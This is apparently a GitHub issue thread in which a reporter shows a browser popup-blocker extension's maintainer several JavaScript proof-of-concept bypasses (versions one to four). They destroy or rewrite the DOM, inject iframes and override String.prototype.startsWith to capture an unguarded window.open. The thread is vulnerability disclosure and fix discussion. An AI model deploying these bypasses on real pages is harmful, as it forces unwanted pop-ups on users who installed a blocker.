Closed pipipear closed 3 years ago
Commit https://github.com/schomery/popup-blocker/commit/4863f50adb5e28fdebdd191a52fe5c681c5c9c04 's mutation observer can be bypassed by destroying the documentElement
setTimeout(function(){
document.documentElement.remove();
document.write('<style>body{text-align:center;background:#030039;background:linear-gradient(90deg ,#030039 0,#3a0979 50%,#8d00a4 100%);color:#eee;font-family:Verdana,Geneva,Tahoma,sans-serif;height:100vh;display:grid;align-content:center;margin:0}</style><div>click anywhere to bypass the popup blocker</div>');
let frame = document.createElement("iframe");
frame.src = "javascript:true",
(document.head || document.documentElement).prepend(frame)
let bypass = frame.contentWindow.open;
window.addEventListener('click', (e) => { bypass('https://example.com', '_blank', 'height=500,width=500') })
}, 0);
Demo on codepen: https://codepen.io/pipr/pen/LYWMpdR
how about 5d25c76776535f873d35c9816f0a03505b6c35d2?
https://github.com/schomery/popup-blocker/commit/5d25c76776535f873d35c9816f0a03505b6c35d2 works great against element insertion functions but the mutation observer's callback doesn't seem to run soon enough after direct dom modifications.
setTimeout(function(){
document.documentElement.remove();
document.write('<style>body{text-align:center;background:#030039;background:linear-gradient(90deg ,#030039 0,#3a0979 50%,#8d00a4 100%);color:#eee;font-family:Verdana,Geneva,Tahoma,sans-serif;height:100vh;display:grid;align-content:center;margin:0}#fresh{display:none}</style><div>click anywhere to bypass the popup blocker</div><iframe id="fresh" src="javascript:true"></iframe>');
let bypass = document.querySelector('#fresh').contentWindow.open;
window.addEventListener('click', (e) => { bypass('https://example.com', '_blank', 'height=500,width=500') })
}, 0);
Bypass v3a: https://codepen.io/pipr/pen/XWMoPog
setTimeout(function(){
document.body.innerHTML = '<style>body{text-align:center;background:#030039;background:linear-gradient(90deg ,#030039 0,#3a0979 50%,#8d00a4 100%);color:#eee;font-family:Verdana,Geneva,Tahoma,sans-serif;height:100vh;display:grid;align-content:center;margin:0}#fresh{display:none}</style><div>click anywhere to bypass the popup blocker</div><iframe id="fresh" src="javascript:true"></iframe>';
let bypass = document.querySelector('#fresh').contentWindow.open;
window.addEventListener('click', (e) => { bypass('https://example.com', '_blank', 'height=500,width=500') })
}, 0);
Bypass v3b: https://codepen.io/pipr/pen/YzZdOdJ
The mutation observer executes before the frame's script. So the code inside the frame is protected. The problem is the contentWindow
and contentDocument
references. Should be fixed by the latest commit.
A script can still tamper with the String.prototype.startsWith
function, among others, and trick the if statement on line 61 into believing that an iframe does not need protection.
https://github.com/schomery/popup-blocker/blob/6478dd5e809c8600e2d8eb63669e3d04f792c5de/src/data/inject/uncode.js#L61
String.prototype.startsWith = () => false;
let frame = document.createElement("iframe");
frame.src = "javascript:window.parent.bypass = window.open;";
(document.head || document.documentElement).prepend(frame);
document.addEventListener('click', (e) => {
bypass('https://example.com', '_blank', 'height=500,width=500');
})
Bypass v4: https://codepen.io/pipr/pen/RwVbmWP
True, I can probably fix this, but until the entire evaluation code is moved to the protected context, there is always a way to bypass it.
The current focus of this extension is to watch the unprotected context against all possible window opening methods.
If a script creates an iframe that immediately grabs and saves a fresh window.open function,
it can reference it later and bypass this extension.
Demo on codepen: https://codepen.io/pipr/pen/VwpVyZQ